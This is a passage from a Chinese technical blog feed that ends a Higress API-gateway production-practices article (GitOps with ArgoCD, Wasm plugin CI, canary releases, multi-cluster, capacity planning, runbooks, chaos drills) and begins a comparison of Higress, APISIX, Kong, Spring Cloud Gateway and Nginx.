&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF&lt;/td&gt;
&lt;td&gt;开启 WAF 插件，防 SQL 注入 / XSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;管理面&lt;/td&gt;
&lt;td&gt;Console 不暴露公网，走内网 + VPN + SSO&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;审计&lt;/td&gt;
&lt;td&gt;开启操作审计日志，谁改了配置可追溯&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mTLS&lt;/td&gt;
&lt;td&gt;东西向流量 mTLS 加密&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;四、CI/CD 与 GitOps&lt;/h2&gt;
&lt;h3&gt;4.1 配置即代码（GitOps）&lt;/h3&gt;
&lt;p&gt;所有 Higress CRD（Ingress/WasmPlugin/McpBridge）纳入 Git，用 ArgoCD/Flux 自动同步。&lt;strong&gt;禁止&lt;/strong&gt;生产环境手动 &lt;code&gt;kubectl apply&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git 仓库（唯一事实来源）
├── base/                      # 基础配置
│   ├── mcpbridge.yaml
│   └── wasmplugin-jwt.yaml
├── overlays/
│   ├── staging/               # 预发环境
│   │   ├── kustomization.yaml
│   │   └── ingress-patch.yaml
│   └── production/            # 生产环境
│       ├── kustomization.yaml
│       └── ingress-patch.yaml
└── argocd/
    └── application.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# ArgoCD Application
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: higress-production
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/example/higress-config.git
    targetRevision: main
    path: overlays/production
  destination:
    server: https://kubernetes.default.svc
    namespace: higress-system
  syncPolicy:
    automated:
      prune: true              # 自动删除 Git 中移除的资源
      selfHeal: true           # 自动修复漂移
    syncOptions:
      - CreateNamespace=true
    retry:
      limit: 5
      backoff:
        duration: 5s
        factor: 2
        maxDuration: 3m
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 Wasm 插件 CI/CD&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/wasm-plugin.yaml
name: Build &amp;amp; Push Wasm Plugin
on:
  push:
    tags: [&apos;v*&apos;]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Go
        uses: actions/setup-go@v5
        with:
          go-version: &apos;1.24&apos;

      - name: Unit Test
        run: go test ./...

      - name: Build Wasm
        env:
          GOOS: wasip1
          GOARCH: wasm
        run: go build -buildmode=c-shared -o plugin.wasm ./main.go

      - name: Login Registry
        run: oras login registry.example.com -u ${{ secrets.REG_USER }} -p ${{ secrets.REG_PASS }}

      - name: Push OCI Artifact
        run: |
          oras push registry.example.com/plugins/my-plugin:${{ github.ref_name }} \
            --artifact-type application/vnd.module.wasm.content.layer.v1+wasm \
            plugin.wasm:application/vnd.module.wasm.content.layer.v1+wasm

      - name: Update GitOps Repo（触发部署）
        run: |
          # 用 sed 更新 overlays/production 中的镜像 tag，提 PR
          echo &quot;更新镜像 tag 到 ${{ github.ref_name }}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 灰度发布流水线&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;代码合并 → 构建 Wasm → 推送 OCI
                          ↓
              部署到 staging（自动）
                          ↓
              自动化测试 + 冒烟
                          ↓
        ┌─────────────────┴─────────────────┐
        │  灰度：5% → 20% → 50% → 100%       │
        │  每步观察 Metrics（错误率/延迟）    │
        │  异常自动回滚                        │
        └─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 用 Argo Rollouts 做金丝雀
apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
  name: my-service
spec:
  strategy:
    canary:
      steps:
        - setWeight: 5
        - pause: { duration: 5m }
        - analysis:              # 自动分析错误率
            templates:
              - templateName: success-rate
        - setWeight: 20
        - pause: { duration: 5m }
        - setWeight: 50
        - pause: { duration: 10m }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、多集群管理&lt;/h2&gt;
&lt;h3&gt;5.1 多集群部署模式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;模式 A：每集群独立 Higress（推荐）
┌──────────────┐   ┌──────────────┐
│  Cluster 1   │   │  Cluster 2   │
│  Higress     │   │  Higress     │
│  + 业务服务  │   │  + 业务服务  │
└──────┬───────┘   └──────┬───────┘
       │                  │
       └───────┬──────────┘
               │
        全局负载均衡（DNS/GSLB/L4 LB）

优点：故障隔离、就近访问、独立扩缩容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.2 配置统一分发&lt;/h3&gt;
&lt;p&gt;多集群最大痛点是&lt;strong&gt;配置一致性&lt;/strong&gt;。用 GitOps 统一管理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git 仓库（单一事实来源）
        ↓
   ArgoCD ApplicationSet（一键部署到 N 个集群）
        ↓
┌───────────┬───────────┬───────────┐
│ Cluster 1 │ Cluster 2 │ Cluster 3 │
│ Higress   │ Higress   │ Higress   │
└───────────┴───────────┴───────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# ArgoCD ApplicationSet：一套配置分发到所有集群
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: higress-multi-cluster
  namespace: argocd
spec:
  generators:
    - clusters: {}               # 匹配所有已注册集群
  template:
    metadata:
      name: &apos;higress-{{name}}&apos;
    spec:
      source:
        repoURL: https://github.com/example/higress-config.git
        targetRevision: main
        path: overlays/production
      destination:
        server: &apos;{{server}}&apos;
        namespace: higress-system
      syncPolicy:
        automated:
          prune: true
          selfHeal: true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.3 跨集群服务发现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 集群 A 的 Higress 通过 DNS/McpBridge 访问集群 B 的服务
apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: cross-cluster
  namespace: higress-system
spec:
  registries:
    - name: cluster-b-svc
      type: dns
      domain: svc-b.cluster-b.example.com   # 集群 B 的服务暴露地址
      port: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、容量规划与压测&lt;/h2&gt;
&lt;h3&gt;6.1 压测基线&lt;/h3&gt;
&lt;p&gt;上线前必须压测，建立容量基线：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# wrk 压测示例
wrk -t12 -c400 -d300s \
  -H &quot;Host: api.example.com&quot; \
  --latency \
  http://&amp;lt;gateway-ip&amp;gt;/api/health

# 关注指标：
# - QPS（吞吐）
# - P50/P99/P999 延迟
# - 错误率
# - Gateway CPU/内存
# - 上游连接数
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 容量估算参考&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;单副本规格&lt;/th&gt;
&lt;th&gt;简单路由 QPS&lt;/th&gt;
&lt;th&gt;带 3 个插件 QPS&lt;/th&gt;
&lt;th&gt;建议并发连接&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1C2G&lt;/td&gt;
&lt;td&gt;~15,000&lt;/td&gt;
&lt;td&gt;~10,000&lt;/td&gt;
&lt;td&gt;~5,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2C4G&lt;/td&gt;
&lt;td&gt;~30,000&lt;/td&gt;
&lt;td&gt;~20,000&lt;/td&gt;
&lt;td&gt;~15,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4C8G&lt;/td&gt;
&lt;td&gt;~55,000&lt;/td&gt;
&lt;td&gt;~38,000&lt;/td&gt;
&lt;td&gt;~40,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;数据仅供参考，实际取决于插件复杂度、Body 大小、上游延迟。&lt;strong&gt;务必以自己的压测为准&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 资源规划公式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;副本数 = ceil(峰值QPS / 单副本QPS × 冗余系数)
冗余系数建议 1.5~2（留缓冲应对突发 + 滚动更新）

示例：
峰值 100,000 QPS，单副本（2C4G）30,000 QPS
副本数 = ceil(100000 / 30000 × 1.5) = ceil(5) = 5 副本
再加跨 AZ 冗余 → 6 副本（每 AZ 3 个）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、故障演练与 Runbook&lt;/h2&gt;
&lt;h3&gt;7.1 常见故障 Runbook&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;故障&lt;/th&gt;
&lt;th&gt;现象&lt;/th&gt;
&lt;th&gt;应急处理&lt;/th&gt;
&lt;th&gt;根因排查&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gateway 全挂&lt;/td&gt;
&lt;td&gt;5xx 暴增&lt;/td&gt;
&lt;td&gt;扩容/重启副本、切备用入口&lt;/td&gt;
&lt;td&gt;看 Pod 事件、OOM、探针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配置错误&lt;/td&gt;
&lt;td&gt;路由 404/502&lt;/td&gt;
&lt;td&gt;GitOps 回滚到上个版本&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl describe ingress&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上游雪崩&lt;/td&gt;
&lt;td&gt;延迟飙升、连接堆积&lt;/td&gt;
&lt;td&gt;触发熔断、降级&lt;/td&gt;
&lt;td&gt;上游健康检查、连接池&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wasm 插件崩溃&lt;/td&gt;
&lt;td&gt;特定路由 5xx&lt;/td&gt;
&lt;td&gt;禁用该插件&lt;/td&gt;
&lt;td&gt;看插件日志、回滚镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;证书过期&lt;/td&gt;
&lt;td&gt;TLS 握手失败&lt;/td&gt;
&lt;td&gt;手动更新证书&lt;/td&gt;
&lt;td&gt;cert-manager 状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;etcd 压力&lt;/td&gt;
&lt;td&gt;配置下发慢&lt;/td&gt;
&lt;td&gt;减少 CRD 变更频率&lt;/td&gt;
&lt;td&gt;etcd 监控、Controller 日志&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;7.2 快速回滚&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 配置回滚（GitOps）
git revert &amp;lt;commit&amp;gt;            # 回退配置提交
git push                       # ArgoCD 自动同步

# 2. Helm 回滚（版本升级出问题）
helm rollback higress &amp;lt;REVISION&amp;gt; -n higress-system

# 3. Wasm 插件回滚
kubectl patch wasmplugin my-plugin -n higress-system \
  --type merge -p &apos;{&quot;spec&quot;:{&quot;url&quot;:&quot;oci://registry/plugins/my-plugin:v1.2.3&quot;}}&apos;

# 4. 紧急禁用插件
kubectl delete wasmplugin my-plugin -n higress-system
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.3 Chaos 演练&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Chaos Mesh：模拟 Gateway Pod 故障
apiVersion: chaos-mesh.org/v1alpha1
kind: PodChaos
metadata:
  name: kill-higress-gateway
spec:
  action: pod-kill
  mode: one                      # 每次杀一个，验证 HA
  selector:
    namespaces: [higress-system]
    labelSelectors:
      app: higress-gateway
  scheduler:
    cron: &apos;@every 2m&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;演练目标：验证副本被杀时&lt;strong&gt;流量无损&lt;/strong&gt;（PDB + 多副本 + 探针 + 优雅下线）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：生产环境最少几个 Gateway 副本？&lt;/strong&gt;
A：至少 3 个，且跨节点/跨可用区。配合 PDB（minAvailable: 2）和 HPA。单副本无法容忍节点故障和滚动更新。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：控制面（Controller）挂了，流量会断吗？&lt;/strong&gt;
A：不会。Envoy 会缓存最后下发的 xDS 配置，控制面短时故障不影响已有流量转发，只是无法变更配置。这也是控制面/数据面分离的优势。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：CPU limit 到底要不要设？&lt;/strong&gt;
A：网关这类延迟敏感组件，建议&lt;strong&gt;不设 CPU limit&lt;/strong&gt;（或设很高），只设 requests。CPU limit 过低会触发 CFS 节流，P99 延迟暴涨。内存 limit 必须设，防 OOM。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：怎么做配置备份？&lt;/strong&gt;
A：GitOps 是天然备份（所有配置在 Git）。额外定期导出：&lt;code&gt;kubectl get ingress,wasmplugin,mcpbridge -A -o yaml &amp;gt; backup-$(date +%F).yaml&lt;/code&gt;，etcd 也要做快照。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：多集群配置怎么保证一致？&lt;/strong&gt;
A：单一 Git 仓库 + ArgoCD ApplicationSet 分发到所有集群，开启 selfHeal 自动修复漂移。禁止手动改单个集群。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：Wasm 插件拖慢网关怎么办？&lt;/strong&gt;
A：① 精简插件数量，按需启用；② 插件内避免重计算和频繁内存分配；③ 用路由级/域名级作用域，别全局启用；④ 压测对比开关插件前后的 QPS/延迟。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：如何实现零停机发布？&lt;/strong&gt;
A：滚动更新（maxUnavailable: 0）+ 就绪探针 + 优雅下线（preStop 钩子等待连接排空）+ PDB。前端有 L4 LB 时确保健康检查及时摘除旧副本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 优雅下线
lifecycle:
  preStop:
    exec:
      command: [&quot;sh&quot;, &quot;-c&quot;, &quot;sleep 15&quot;]   # 等待 LB 摘除 + 连接排空
terminationGracePeriodSeconds: 30
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;生产最佳实践速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;高可用&lt;/strong&gt;：Gateway ≥3 副本、跨 AZ、PDB、HPA、滚动更新 maxUnavailable=0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;/strong&gt;：横向扩容优先 → 连接池 keepalive → 内核参数；CPU 不设 limit 防节流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全&lt;/strong&gt;：Secret 用 Vault/External Secrets、RBAC 最小权限、mTLS、镜像扫描、Console 不暴露公网&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;：GitOps（ArgoCD/Flux）单一事实来源、selfHeal、禁止手动 kubectl&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发布&lt;/strong&gt;：金丝雀 5%→20%→50%→100%、自动分析、异常回滚&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多集群&lt;/strong&gt;：每集群独立 Higress + ApplicationSet 统一分发 + GSLB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;容量&lt;/strong&gt;：先压测建基线，副本数 = 峰值QPS / 单副本QPS × 1.5~2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;演练&lt;/strong&gt;：Chaos 杀 Pod 验证无损、备好 Runbook 和快速回滚&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
🎉 &lt;strong&gt;恭喜你完成 Higress 学习路线全部 15 篇！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;回顾整个学习路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基础篇&lt;/strong&gt;（01-02）：环境搭建、核心概念&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网关功能篇&lt;/strong&gt;（03-07）：路由、服务发现、流量治理、安全、可观测&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wasm 插件篇&lt;/strong&gt;（08-10）：Wasm 基础、Go 开发、实战&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高级篇&lt;/strong&gt;（11-14）：AI 网关、Console 运维、选型对比、生产实践&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一步建议：① 在真实项目落地一个完整网关；② 深入 Envoy 源码理解数据面；③ 关注 Higress 社区动态和 AI 网关演进；④ 考取云原生相关认证（CKA/CKAD）。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>网关选型对比：Higress vs APISIX vs Kong vs SCG vs Nginx</title><link>http://117.72.32.87/blog/posts/higress-roadmap-13-comparison/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-13-comparison/</guid><description>横向对比主流 API 网关：Higress、APISIX、Kong、Spring Cloud Gateway、Nginx，从架构、性能、功能、生态、运维等维度帮助你做技术选型。</description><pubDate>Thu, 17 Sep 2026 08:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
网关选型是架构决策的关键一环。本文从 8 个维度横向对比 5 款主流网关，帮助你根据实际场景做出选择。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;对比概览&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
&lt;th&gt;Spring Cloud Gateway&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;内核&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Envoy (C++)&lt;/td&gt;
&lt;td&gt;Nginx + LuaJIT&lt;/td&gt;
&lt;td&gt;Nginx + LuaJIT&lt;/td&gt;
&lt;td&gt;Java (Netty)&lt;/td&gt;
&lt;td&gt;Nginx (C)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;开源方&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;阿里云&lt;/td&gt;
&lt;td&gt;Apache 基金会&lt;/td&gt;
&lt;td&gt;Kong Inc.&lt;/td&gt;
&lt;td&gt;Spring 官方&lt;/td&gt;
&lt;td&gt;F5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;首次发布&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;2004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;License&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;Apache 2.0（OSS）/ 商业&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;BSD-like&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;云原生&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ K8s 原生&lt;/td&gt;
&lt;td&gt;✅ K8s Ingress&lt;/td&gt;
&lt;td&gt;✅ K8s Ingress&lt;/td&gt;
&lt;td&gt;⚠️ 需适配&lt;/td&gt;
&lt;td&gt;❌ 传统&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;动态配置&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ xDS（秒级）&lt;/td&gt;
&lt;td&gt;✅ etcd（秒级）&lt;/td&gt;
&lt;td&gt;✅ DB-less / PostgreSQL&lt;/td&gt;
&lt;td&gt;⚠️ 需重启&lt;/td&gt;
&lt;td&gt;⚠️ reload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;扩展语言&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wasm (Go/Rust)&lt;/td&gt;
&lt;td&gt;Lua&lt;/td&gt;
&lt;td&gt;Lua / Go / JS&lt;/td&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;C / Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;性能&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;架构对比&lt;/h2&gt;
&lt;h3&gt;Higress&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  Higress Controller（控制面）        │
│  - 监听 K8s CRD                     │
│  - 转换为 Envoy xDS 配置            │
│  - 基于 Istio Pilot                 │
└──────────────┬──────────────────────┘
               │ xDS（gRPC）
               ▼
┌─────────────────────────────────────┐
│  Higress Gateway（数据面）           │
│  - Envoy Proxy                      │
│  - Wasm 插件沙箱                    │
│  - 动态配置热加载                   │
└─────────────────────────────────────┘

特点：
- 控制面/数据面分离
- 基于 Envoy（C++，高性能）
- Wasm 扩展（多语言，沙箱隔离）
- K8s 原生（CRD 配置）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;APISIX&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  APISIX Dashboard（可选）            │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  etcd（配置中心）                    │
│  - 存储路由、服务、插件配置          │
│  - Watch 机制实时推送               │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  APISIX（数据面）                    │
│  - Nginx + LuaJIT                   │
│  - 插件热加载                       │
│  - 多协议代理（HTTP/TCP/UDP/MQTT）  │
└─────────────────────────────────────┘

特点：
- 依赖 etcd（配置存储 + 服务发现）
- Nginx + LuaJIT（性能极高）
- 插件热加载（无需重启）
- 多协议支持（HTTP/gRPC/TCP/UDP/MQTT）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kong&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  Kong Manager（企业版）              │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  数据库（PostgreSQL / Cassandra）    │
│  或 DB-less 模式（YAML 配置）        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Kong Gateway（数据面）              │
│  - Nginx + LuaJIT                   │
│  - 插件系统（Lua/Go/JS）            │
│  - 多协议支持                       │
└─────────────────────────────────────┘

特点：
- 传统数据库依赖（PostgreSQL/Cassandra）
- DB-less 模式（声明式配置）
- 插件生态丰富（官方 + 社区）
- 企业版功能强大（RBAC/审计/开发者门户）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Spring Cloud Gateway&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  Spring Cloud Config / Nacos        │
│  （配置中心）                        │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Spring Cloud Gateway（Java）        │
│  - 基于 Netty（异步非阻塞）          │
│  - Spring WebFlux（响应式）          │
│  - Filter 链（Java 扩展）            │
│  - 集成 Spring 生态                  │
└─────────────────────────────────────┘

特点：
- Java 生态（Spring Boot/Cloud）
- 基于 Netty（异步非阻塞）
- Filter 扩展（Java 代码）
- 与 Spring 生态无缝集成（Eureka/Hystrix/Sleuth）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nginx&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  nginx.conf（静态配置）              │
└──────────────┬──────────────────────┘
               │ reload（SIGHUP）
               ▼
┌─────────────────────────────────────┐
│  Nginx（C）                          │
│  - Master-Worker 进程模型            │
│  - 事件驱动（epoll/kqueue）          │
│  - 模块扩展（C/Lua）                 │
│  - 反向代理 / 负载均衡 / 静态服务    │
└─────────────────────────────────────┘

特点：
- 静态配置（reload 生效）
- C 语言（极致性能）
- 模块扩展（需重编译或 Lua）
- 功能简单（需第三方模块补充）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;功能对比&lt;/h2&gt;
&lt;h3&gt;路由能力&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
&lt;th&gt;SCG&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;域名路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;路径路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Header 路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需 Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Query 路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;⚠️ 需 Lua&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权重路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;正则路由&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gRPC 代理&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TCP/UDP 代理&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;流量治理&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;th&gt;APISIX&lt;/th&gt;
&lt;th&gt;Kong&lt;/th&gt;
